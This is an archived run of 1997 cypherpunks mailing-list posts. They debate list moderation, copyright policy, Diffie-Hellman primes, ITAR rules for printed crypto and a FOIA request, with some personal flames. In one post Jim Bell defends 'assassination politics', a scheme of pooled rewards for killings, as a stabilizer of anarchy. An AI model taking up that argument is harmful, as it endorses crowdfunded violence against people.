>poor americans who chose to live under a "broken" patent law which
>allows protecting _algorithms_. Totally silly.

It brings up an interesting point, especially when applied to ITAR/EAR.  On
a philosophical note, why *do* we allow the government to regulate
algorithms?  (Implementations, I can understand, but *algorithms*?)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"A poem: a story in meter or rhyme."
'Ahh. `There once was a man from Nantucket ... `'
"You've been talking to Garibaldi again, haven't you?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Tue, 4 Feb 1997 21:57:58 -0800 (PST)
To: Declan McCullagh <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <v02140b08af1dc0012484@[206.184.194.36]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:22 PM 2/4/1997, Declan McCullagh wrote:
> What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> common resource, making it unusable for the rest. It's the tragedy of the
> commons. When all can speak without limit in a public forum, the drunken
> boor can shout everyone else down.

I think this analogy is inappropriate for modern communications
forums.

Mailing lists have the wonderful property that the drunken boor
cannot shout everyone else down.  This is what is so great about
the Net.  It is trivial to filter the drunken boor.  This cannot
be done in a crowded auditorium.

Another neat property is the fact that people can't interrupt
each other and everybody can "talk" at once.

Peter Hendrickson
pdh@best.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Tue, 4 Feb 1997 19:02:06 -0800 (PST)
To: misc@epic.org
Subject: Panel - Copyright and the Net: Is Legislation the Answer?
Message-ID: <v03010d03af1da77b7c75@[204.91.138.84]>
MIME-Version: 1.0
Content-Type: text/plain



         Copyright and the Net: Is Legislation the Answer?

                ACM97: The Next 50 Years of Computing
                  Sunday March 2   2:00 PM - 5:00 PM
                   Fairmont Hotel     San Jose, CA

      Sponsored by the U.S. Public Policy Committee of ACM (USACM)


Panelists: Hank Barry, Pam Samuelson, Mark Stefik, Gio Wiederhold
Moderator: Barbara Simons, Chair, USACM


  o What is the role of copyright in all-electronic publication world?
  Will it be replaced by contract law?

  o Can the needs of authors who want to publish for renown (academics) and
  authors that want to publish for pay (entertainment etc) be handled in one
  mechanism?

  o Should browsing on the World Wide Web of full copyrighted texts be made
  illegal because people make temporary copies in their computer's memory
  when they look at a web page?

  o Should online service providers, including libraries and universities,
  have to monitor user accounts in order to enforce copyright laws?

  o Should firms that compile data have intellectual property rights so
  that scientists and news reporters can't use the data without permission
  or payments?

  o How should existing differences in national copyright be handled in a
  networked world where national boundaries and are little more than a
  speedbump on the information superhighway?

  o Does technological protection for copyrighted works inherently undermine
  fair use ?


These and related issues will confront the 105th Congress in the coming year.
They will also be examined by this panel, which will discuss controversies
surrounding the extension of copyright law to deal with cyberspace.
Examples include: How does proposed legislation reflect the net?
How much influence have lobbyists for the entertainment industry had
in writing legislation?  What should be the role of professional
societies in analyzing policy initiatives?

We will discussed legislation and international treaties that
have been proposed by the White House.  We will also examine both
technical and legal approaches to problems created by the net,
as well as how various approaches might impact the
science, technology, and business communities.

A significant amount of time will be allowed for audience
interaction in the discussion.



              Biographical sketches


Hank Barry is member of the firm of Wilson Sonsini Goodrich & Rosati
and is Chairman of the firm's Interactive New Media practice group.
He represents publicly and privately-held companies in the multimedia,
software, computer, on-line and entertainment industries.  Hank has authored
numerous articles in the fields of venture capital, interactive
media and technology transactions. He currently serves on the
Editorial Board of the Cyberspace Lawyer.
Hank received his law degree in 1983 from Stanford University,
where he was managing editor of the Stanford Law Review.


Pamela Samuelson is a Professor at the University of California at Berkeley
where she holds a joint appointment at the School of Information Management
and Systems and in the School of Law.  She has written and spoken
extensively on the challenges posed by digital technologies for the law,
particularly in the field of intellectual property.  She is a Contributing
Editor of Communications of the ACM and a Fellow of the Electronic Frontier
Foundation.


Mark Stefik is a principal scientist at the Xerox Palo Alto Research
Center.  At Stanford University he received a Bachelor of Science degree in
mathematics in 1970 and a Ph.D. in computer science in 1980.  His current
research activities are in approaches for creating, protecting, and reusing
digital property.  Stefik is review editor for the international
journal "Artificial Intelligence" and has authored two books on
AI-related topics and a third book on the Internet.


Gio Wiederhold is a professor of Computer Science at Stanford
University, with courtesy appointments in Medicine and Electrical
Engineering.  His research focuses on large-scale software construction,
specifically applied to information systems, the protection
of their content, often using knowledge-based techniques.
Wiederhold has authored and coauthored more than 250 published papers
and reports on computing and medicine.  Wiederhold received a degree
in Aeronautical Engineering in Holland in 1957 and a Ph. D. in Medical
Information Science from the University of California at San Francisco
in 1976.  He has been elected fellow of the ACMI, the IEEE and the
ACM.  He currently serves on the ACM Publications Board,
focusing on the move to electronic publication.


Barbara Simons received her Ph.D. in Computer Science from U.C. Berkeley
in 1981.  She joined the Research Division of IBM in 1980;
she is currently working in IBM Global Services.
Simons is a Fellow of both the American Association for the Advancement
of Science (AAAS) and ACM.  In 1995 she was selected as one of 26 Internet
"Visionaries" by c|net, and in 1994 Open Computing included her in its list
of the top 100 women in computing.  She was awarded the 1992 CPSR Norbert
Wiener Award for Professional and Social Responsibility in Computing.
Simons founded and chairs USACM, the ACM U. S. Public Policy Committee.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Tue, 4 Feb 1997 23:36:53 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: Dissolving Choke Points
In-Reply-To: <199702041441.GAA28354@toad.com>
Message-ID: <970204.223430.9o6.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, gbroiles@netbox.com writes:

> My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother
> with the list if it were moved to (or gated with) Usenet, as Usenet has
> become for the most part 100+ Mb/day of uselessness.

An obvious point.  But you go on to say...

> The good side I see to a move to Usenet is that it lets people use the
> comparatively better tools for managing messages
[...]

FWIW, I gate all my subscribed mailing lists to local newsgroups because
my newsreading tools are much better than my mailreading tools.

> The down side is that Usenet is more or less a sewer these days, and some of
> it's bound to spill over.

The unfiltered list already had spammers and flamers.  Would you expect
nore sewage, different sewage or a combination?
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvgPUBvikii9febJAQElRwP+IC40bwrsV7w7NI0IMmdwGRPO8tHNo6qU
pCb6i9UNSrtaFseZ6I04RIsy1mitoJbmDaoJqKcWz1smi4pr1Te/1QZDt8CLouP2
lXwZV9PojttoBbGlfrc1gY/ZEOnOtwwBemiMSiyIS0Md26f1VM9i1OMVR4RDpLY8
+VrFN9htVyc=
=jMyg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 4 Feb 1997 15:55:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: "alt.cypherpunks" people?
Message-ID: <199702042236.WAA00552@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore urges action, or piping down... well lets start with
discussion of whether one possible action is appropriate, and useful
(piping down is not an option:-):

What do people think of starting an alt.cypherpunks USENET newsgroup?

It has some advantages:

 1. It distributes the cost of information dispersal, rather than
    largely placeing the load on a single machine.

 2. Newsreading software typically includes threading, which is useful

 3. It avoids the issue of ownership, it is more anarchic.  There is
    no list or host owner to get prosecuted for copyright violations, 
    export law violations, libel etc.

 4. Automatically gets archived several places, and is searchable

 5. It will be unmoderated

And some disadvantages...

 1. Cross-posting in USENET is a problem, especially in alt newsgroups

 2. Commercial spam is a problem with newsgroups

 3. USENET distribution is likely less efficient of overall bandwidth

 4. News propogation times are often poor (Exeter univ. receives news
    about a week late) This is a real killer in my view.  I have
    another news server I can access at the moment, but not everyone
    may have access to a reasonable news server.

 5. News access is more complex for some people.  Some alt newsgroups
    are not carried by some servers.  Perhaps news-to-mail and
    mail-to-news gateway would solve these problems.

 6. Some have argued in the past on this topic that the mailing list
    medium is better because it is more exclusive, as it requires more
    technical competence, and an active enough interest to subscribe.
    This is an elitist argument.  Perhaps it is relevant though, if we
    are trying to maintain a mailing list where technical discussions on
    how to improve privacy are to take place.  I wouldn't call this
    attitude censorship though.

My overall feeling is that I prefer the faster turn around time of a
mailing list.  When interesting things were/are happening on the list
(netscape break, late breaking crypto news, and cypherpunks spin on
it), the fast turn around time was essential.  Being able to react
quickly to news items, and to organise technical projects rapidly is
one of the cypherpunks main advantages and attractions from my point
of view.

My view of moderation is that it is a huge amount of work for the
moderator, that it is hypocritical philosophically (we promote
anarchy, but in order to effectively promote anarchy, we reject
anarchy), that it breeds artificial social hierarchys, rather than
allowing posts and posters reputations to stand on their own merit.

I was happier with the strength of the philsophical standing of the
list prior to moderation.  Moderation hasn't improved the noise much
anyway.

Readers who have been reading for several years may understandably
wish to recapture the stimulating discourses, and lively community
feel to the list from the past.  Lists change, cypherpunks is a victim
of it's own success, media attention increased public awareness,
increased number of subscribers, and at the same time increased the
proportion of noisy off-topic posts.  Unfortunately the success of the
list, and the noise has resulted in some of those people who kept it
interesting leaving the list.

Coderpunks is a reasonable list, I'm not sure that it is moderated as
such, but if you breach etiquette (discussion of politics, even when
perpetrated by respected cryptographers, or by people discussing the
implications of breaking DES, rather than the strict coding questions)
they get Futplex-grams, which I find slightly annoying.

Cryptography@c2.net is again reasonable, and gained back some of the
original people who quit cypherpunks over the years due to noise.
Cryptography is moderated.  (Or is moderated when Perry thinks it
would benefit from moderation, so that may change).

Perhaps some of the lack of stimulating discussion is simply that the
ideas are no longer hot new ideas.  Most of the interesting technology
and it's implications have been discussed.

What's left is attempting to stop government restrictions and backdoors,
and deploying the many complex peices of software for which there exists
uses and demands.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Tue, 4 Feb 1997 21:00:14 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: John Gilmore / What a _Lamer_!
In-Reply-To: <199702041456.GAA28779@toad.com>
Message-ID: <32F82B66.12C9@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.

I havent chosen nothing like that. 
I read all the stuff from all the messages from before modernation 
and since then and nobody got to choose nothing. You told them what
they were going to gwet and thats what they got.
Anybody that made it plain that they werent happy got thrown in the
trashcan and labled as being a flamer.

>  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.

1311 addresses that you stole for your censored list.
Nobvody subscribved to cypherpunks-censored. You put them there cause
its you decided it was your list an dyou could put people where you
wanted even if they didnt like it.
My uncle calls it the cyperpunks-Auschwitz list. Thats what subdir
he keeps it in in his Dorks dir.

> The cypherpunks list was unusable
> for this kind of discussion, only a month ago.  It's usable now.

I could use it before and Im just a kid but Im not a lamer. 
Maybe you should call the list you stole cypherpunks-lamers. 

> I'm definitely bugged by the community's attitude toward my
> "censorship".  

I know you are or else you wouldna thrown cypherpunks honest and
truthful feelings in the flames-crapper.

> Rather than being glad that someone, anyone, was doing
> something about the major problem on the list, 99% of the reaction was
> to create even more ill-considered, emotional flamage.

I read a lot of flamessages which people put a lot of their thouhgts 
into bu t they were emotional cause people get like that when someone
doo-doos on them.

>  *I* didn't
> make the signal/noise get worse at that point -- *you-all* did.

You dont make any signal/noise at all since you dont even send messages
to the list. (except when you want tell bs about how people "chose"
Sandy to be their dictator when they didnt)
 
> "Asking the list what to do" was clearly not a useful
> option.

Not necessary either if your a dictator.

>  As Dale suggests, I
> wasn't about to waste my time reading the whole list in real time and
> passing judgement on the postings.  Sandy was, for a month.

Howcum reading the list is a wast eof your time but making decisions
for ecveryone on the cypherpunks isnt?
 
>     To some it seemed that, now that they were in actual possession of
>     it, freedom was a more serious thing than they had expected to
>     find it.
> 
> Most of the people on the list haven't bothered to face that freedom.

1311 ofg them?
Howcum you just stole all of the list people for your censored list?
I think that was real stupid unless you just didnt care if people 
would know that your were stealing the list for yourself. It was
really rotten to call pewople flamers just cause they complained.

> Be responsible for setting your society's privacy policy -- without
> knowing whether you are right.

Thats what those GAK guys are for and all those secret govbernment
guys that want there not to be a cypherpunks anymore.


> Shall I post you an Emancipation Proclamation -- as if you needed one?

No you already done too much.

> The experiment will be over in a few weeks.  Who's going to take over
> deciding how to run the list, and running it?

I will. Im just a kid but I cant do any worse than already.
 
> the immortal words of Lazarus Long, "PIPE DOWN!".

Im a kid so I get told to shut up all the time but I dont.

> PS: Can we talk about crypto too? 

What do you mean _we_ white man? (thats a joke)
You havent talked about nothing on the list except how your not a
bad guy for pushing people areound into the lists where you want
them whether they like it or not.

You stole my uncles subsribing to the cypherpunks list and made him
a censored person. He had to break out to go to the uncensored list.
I think your a lamer.

Human Gus-Peter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Feb 1997 20:12:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199701291607.QAA00392@server.test.net>
Message-ID: <mgwm2D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

>
> Dimitri Vulis <dlv@bwalk.dm.com> writes on cpunks-flames:
> > Adam Back <aba@dcs.ex.ac.uk> writes on cpunks-flames:
> > >
> > > Mr William H. Geiger III "Author of E-Secure" writes on cpunks:
> > > > <sigh> for the benifit of those misfortunate enough to be still working
> > > > dumb terminals I have disabled my PGP script until I have time to add a
> > > > word wrap routine to it.
> > >
> > > <sigh> it is you who were demonstrating your ineptitude by spewing
> > > 120+ line length postings.  Why is it so difficult for you to keep
> > > under 80 chars?  Would you like some technical assistance?  Notice how
> > > near every one else apart from yourself is managing to keep under 80
> > > chars?
> >
> > Notice how near every one else apart from yourself bends over for the NSA,
> > and is willing to use a 40-bit key "escrowed" with the feds?  Why is it so
> > difficult for you to keep under 40 bits? Would you like some technical
> > assistance? Why are you setting yourself apart from the Internet community
> > that so happily embraces GAK? Why do you desire "privacy" for your traffic
> > when everyone else does not? What have you got to hide? Are you looking to
> > transmit child pornography, bomb-making instructions, and/or cannabis
> > legalization propaganda? We better have a look at your hard disk soon.
>
> btw Dimitri, a crypto question:
>
> Diffie-Hellman key generation, there are two main ways of generating
> the diffie-hellman prime modulus, method 1:
>
> 	p = 2q+1
>
> where q is a prime also.
>
> And method 2:
>
> 	p = r.2q+1
>
> where q is a prime and r is a randomly generated number.
>
> With method 1, the security parameter is the size of p in bits (or
> size of q, as they are related).
>
> With method 2, there are two security parameters, size of q and size
> of p in bits.
>
> Method 2 has the advantage that key generation is faster as it is
> quicker to generate new random numbers r, than to repeatedly generate
> trial prime q as you have to do in method 1.  However is the security
> weaker in method 2?  What size of p and q do you have to use to get
> the same security as for same size of p in bits as in method 1?  What
> should be the relationship between the size of p and q?
>
> (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge
> shouldn't hold, besides Sandy has a stated policy of killing the whole
> thread, so I thought it amusing to continue your crypto relevance in
> moving on to technical topics rather than political)

My advice is to stay clear of any cryptosystem that relies on factoring
being hard. I'll send you pointers to some very interesting new work
based on the zeta function in private e-mail when I dig it up (please
remind me if/when I forget this promise). I'm reluctant to say anything
crypto-relevant on this defunct mailing list because last time I did,
the moderator repeatedly cited it as evidence that his moderation works.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Feb 1997 20:20:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <32F7D350.1CA8@gte.net>
Message-ID: <R4wm2D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> > What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> > common resource, making it unusable for the rest. It's the tragedy of the
> > commons. When all can speak without limit in a public forum, the drunken
> > boor can shout everyone else down.
>
> The drunk can be excluded, but when someone wants to use the drunk as
> an example to escalate the exclusion to other persons who are not in
> fact drunk, watch out!

If I get really really drunk, which happens very seldom, then I'm
too drunk to post. I don't mind an occasional beer, though.

Oksas, have you ever tried beer? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 4 Feb 1997 21:30:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: hoho
Message-ID: <199702050526.XAA01842@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


haha




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:44:26 -0800 (PST)
To: Dale Thorn <azur@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702050744.XAA24932@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:18 AM 2/4/97 -0800, Dale Thorn wrote:
>Steve Schear wrote:
>> New X-ray gun trades privacy for safety
>> Reported by Andy C
>> Seen in The Nando Times on 13 August 1996
>> "I'm incredibly concerned," said John Henry Hingson, a past president of the
>> National Association of Criminal Defense Lawyers, meeting here this past
>> week. "The entire nation could become a victim of illegal searches and
>> seizures and the law is powerless to protect them from these police abuses."
>> But in these nervous times following the the crash of TWA Fight 800 and
>> bombings at the Olympics, Oklahoma City and the World Trade Center, many
>> Americans are now willing to trade some of their privacy and civil liberties
>> for greater security.
>> A poll last week by the Los Angeles Times found that a majority of people --
>> 58 percent -- said they would curtail some civil liberties if it would help
>> thwart terrorism. Thirteen percent said it would depend on what rights were
>> at stake. The poll didn't ask people to single out any rights.
>
>The L.A. Times quotes this "poll" all the time, and in fact probably
>just made it up.  Why do I know that?  Because they ran a "letter"
>from a "teacher" in the valley somewhere about a year ago which said
>exactly this same thing.  The "teacher" ran a poll of her students
>and they agreed to give up the rights without even knowing which
>rights they were giving up.


Wouldn't it be nice if, in a new poll, they asked the following question:

"Do you believe that the people who ask you, in other polls, whether or not 
'you'd be willing to give up a little freedom to thwart terrorism' have any 
proof it's possible to, in the long run, 'thwart terrorism' by sacrificing 
freedom?"



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:44:29 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702050744.XAA24946@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
>on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
>+   Is the desire for an anarchic community at odds with a desire for 
>+   good use of resources?

Actually, it is quite possible that an "anarchic community" is _more_ 
efficient in the use of resources than some sort of organized community.    
It is explained, for example, that the reason there are so many different 
kinds of life on earth is that there are so many ecological niches to fill.  


>        In a "popular" anarchy, Jim Bell's assassination politics make
>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

I guess I don't understand the distinction you are trying to make, between a 
"popular anarchy" and an "anarchy."    Maybe you were trying to distinguish 
between "dictatorship of the few (or one)" and "dictatorship of the many (perhaps a 
majority)" but it didn't come out very understandably.

Put simply, "anarchy is not the lack of order.  It is the lack of _orders_."


>        anarchy is only possible in an ideal world where _everyone_ 
>    assumes not only responsibility for themselves, but for the common 
>    good.  no malice, no greed, no need for assassination politics....

No, that's traditional thinking and that's wrong.  See AP part 8.  Freud 
believed (as "everyone" else believed, even myself, before AP) that anarchy 
was inherently unstable.  But it ISN'T, if the tools of AP are used to 
stabilize it.  And no, no altruism is necessary for AP to work as well; no 
individuals are being asked to sacrifice themselves for the common good.   
Rather, they are given the opportunity to work to achieve a reward offered, 
cumulatively, by a number of citizens.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 4 Feb 1997 15:55:23 -0800 (PST)
To: gnu@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702041456.GAA28779@toad.com>
Message-ID: <199702042348.XAA00577@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



The gist of your post seems to be saying that:

 - yes, the result it is not purely anarchic

 - the moderation experiment intentionally moderated the main list
   by design

 - this is perhaps slightly at odds with cypherpunks philosphy on
   freedom

but that this is necessary because:

 - cypherpunks larger goals are more important

 - cypherpunks goals are better served by having a lower noise
   environment to work in

 - create that environment by any means possible (ends justify the means)

 - people weren't being responsible with their freedom anyway

 - it's only an experiment

 - if you don't like this and complain you're part of the problem


Now it may seem nit-picking to a pragmatist, which is the way you
presented your arguments, but the idea that cypherpunks should stoop
to moderation/censorship calls into question what cypherpunks larger
goals are.  Why?  Because we promote electronic freedom, but in order
to effectively organise the promotion of freedom, we reject full
freedom of speech as unworkable, and impose restrictions.  This lends
ammunition to our opponents.  "See even they realise there must be
limits to free speech".


Cypherpunks main goal is:

  "to promote privacy and freedom through technological means"

and arising from this goal, are presumed philosphical stances:

 - privacy and freedom are a good thing (unconditional free speech is
   a good thing)

 - censorship is a bad thing

 - government retrictions and backdoors in crypto are a bad thing
   (crypto providing practical privacy, and practical free speech
   being provided by cryptographically enabled anonymity)

 - chaumian credentials are preferable to fully traceable credentials

 - etc. etc.


So the question to me boils down to is unconditional free speech a
good thing?

Dorothy Denning says no.  Louis Freeh says no.  The Clinton
administration says no.

I thought you said yes.  I thought most of your actions for the last
10 years screamed yes!

Why cut corners for little gain?


Another moderated list with official sanction (hosted by toad.com,
with your commendation that people subscribe to it (to reduce noise
and increase productivity), with instructions in the sign on message
listing the moderated/filtered lists available, clearly stating the
filtering policy, regularly posted instructions on available filtered
lists to cypherpunks) would have been beautiful.  Fine.  Lovely.

But you set up moderation of _the_ list, with no interaction required
by the subscriber.

That caused Tim to unsubscribe.  It's causing me, and others to argue
for this aspect of the moderation to be reversed ASAP.

> PS: Can we talk about crypto too?  It's clear from the last few days
> of press releases that the pro-GAK forces are again working to confuse
> novices into thinking that two very different things are the same
> thing.  Last time it was "public key infrastructure" and "key
> recovery".  This time it's "strong crypto" and "56-bit DES".  What
> should we do about this?  Educate the public?

Education, and countering government news-speak seems to be the key
issues at the moment.

Educate the journalist that perpetuated the pro-GAK lie.  Write an
article to the same publication pointing out the fallacy
(unfortunately as these are private presses they are `moderated', so
you may not get your say).  Buy the advert space if they won't
publish.  I'll contribute.

Distribute strong crypto (you are personally, the ipsec S/WAN
initiative is important).  I'm working on creating and distributing
strong crypto, and influencing sectors of users to use strong crypto,
rather than export crippled US stuff.  The myth that 56 bits is strong
is perpetuated by journalists outside the US too.  The export
situation is complex, many user groups (even IT managers) don't
understand.  They don't understand the meaning of key strengths
either.  

Break DES to demonstrate it's weakness.  May happen in the next 1/2
year.  Gets free publicity.  People aren't saying 40 bits are secure
anymore.  Cypherpunks acheived that.

Hope that Matt Blaze goes ahead with his hardware DES breaker.  He
said some time ago that he had spare funding and was considering using
it for this purpose.  Anyone know the state of play?  This would be
more important as it would quantify the costs, and would be much more
impressive, and realistic for an estimate of the strength of DES
against industrial espionage or well funded criminal attack.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 21:15:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net
Message-ID: <01IF1CGHDYVS9AN3K6@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded with permission:

From:	IN%"loki@infonex.com"  "Lance Cottrell"  4-FEB-1997 15:34:25.09

>I would be happy to donate the resources to run Cypherpunks off our system.
>We could set up the list provided we were given a list of subscribers. I
>assume it would be unmoderated.

>	-Lance

>>	Hi. I don't know how much you've been keeping up with
>>the discussion on cypherpunks, but there is a current proposal
>>to distribute the list onto several different servers. I would
>>be willing to pay for 100 subscribers to run on the cyberpass.net
>>server, provided that somebody else (e.g., Igor Chudov) set up
>>the system initially and was available for assistance later. Any
>>problems on your end?
>>	[...]
>>	Thanks,
>>	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Tue, 4 Feb 1997 22:17:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Vote of Silence for Human Gus-Peter
Message-ID: <32F84126.7A80@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


I want to be the new modernator so anyone who wants me to be it can
not send any messages, ok?
So any people who dont send messages are voting for me, ok?

(If I am modernator I will give everyone free pizza and Schotch.)

Ok. Now evceryone vote, ok?

Human Gus-Peter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 02:53:32 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on Cellular Encryption Docs
In-Reply-To: <199702050458.UAA05351@mail.pacifier.com>
Message-ID: <3.0.1.32.19970205003904.005ad4f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>Here's more on the controlled documents for cellular encryption
>>>from TIA/EIA we described in a 26 January post to cpunks:
...
>>Of course, ITAR as recently modified says it's ok to send this
>>stuff overseas to foreigners, as long as it's on paper.
>>There may be separate restrictions on sending it, or on copying,
>>but they're based on copyright or contractual non-disclosure.
>
>Given that high-density inkjet printers can do 600x600 dpi resolution, it 
>should be possible to achieve the equivalent of 100x100 bpi of 
>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
>100 kilobytes.   What does ITAR say about this?

These are text, perhaps with occasional illustrations, so the current
interim export rules say it's ok.

For optically-scannable printed data, the government's announcement says 
it reserves (somehow) its right (acquired in unspecified manner :-)
to re-evaluate the exportability at a later time.  I think they
haven't settled on whether they'd be more embarassed by banning it
(which bans export of printed material, risking serious Constitutional
challenges) or by not banning it (having people laugh at them while
exporting source code or even binaries in OCR-A on loose-leaf paper
with page numbers and checksums.) 

Of course, by moving crypto off the Munitions List, and allowing
export of printed material, they're also reducing their exposure
to ridicule for not responding to Raph's T-shirt CJ request....
(huh-huh... made you say Unconstitutional ... huh-huh....)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Feb 1997 00:34:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks FOIA request
Message-ID: <3.0.1.32.19970205004017.00728178@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 1/18/97, I sent freedom of information act requests to the FBI (main and
San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
of information in their files relating to or referring to the cypherpunks
list, the cypherpunks meetings, and copies of any messages sent from or to
"cypherpunks@toad.com".

To date, I have received three responses: one from the SF office of the FBI,
indicating that they have no records responsive to my request; one from the
NSA, indicating that they are processing my request, and one from the Secret
Service, asking for a copy of my signature. (I've got no clue why they want
that; unless I screwed up, I believe my initial request was signed.) 

Copies of my requests and the responses are available online at
<http://www.io.com/~gbroiles/cp-foia/>.

I'm not sure what I think about the response from the SF FBI branch - it
seems unlikely that they'd never have paid any attention to the list, given
the media coverage in Wired and other places. On the other hand, maybe the
FBI doesn't read Wired. :) While they're not supposed to be monitoring
noncriminal domestic activity, I figured they'd at least have something about
the Mykotronix stuff. 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvhHPf37pMWUJFlhAQGBSAf/XIdNAMrxn3flb6O7Q1TZYL1xd/RHAAZv
YsuuXs/n6Dih/SnJVqc35tF5/33N0gK0xWhyPCBWdIitVCgHpt+214WEOg3IWBqO
KGcnbXg/YMs4xN50zLgpV+Xoim4rjfwCROqNNWvrBqwo6RicAyJbLRoRGE+KdDkx
WSslCzxsVYzRHzzkF48rhbYAXqU2vUesG0t8Alg17R/2w4TvjAzlQ3PpclUukB8U
VglMVB+dicn+5B2zITt1WG21xMmSHQea5rpwKpDxZdjBvBKXLhgH8L1Hdl6nu3zI
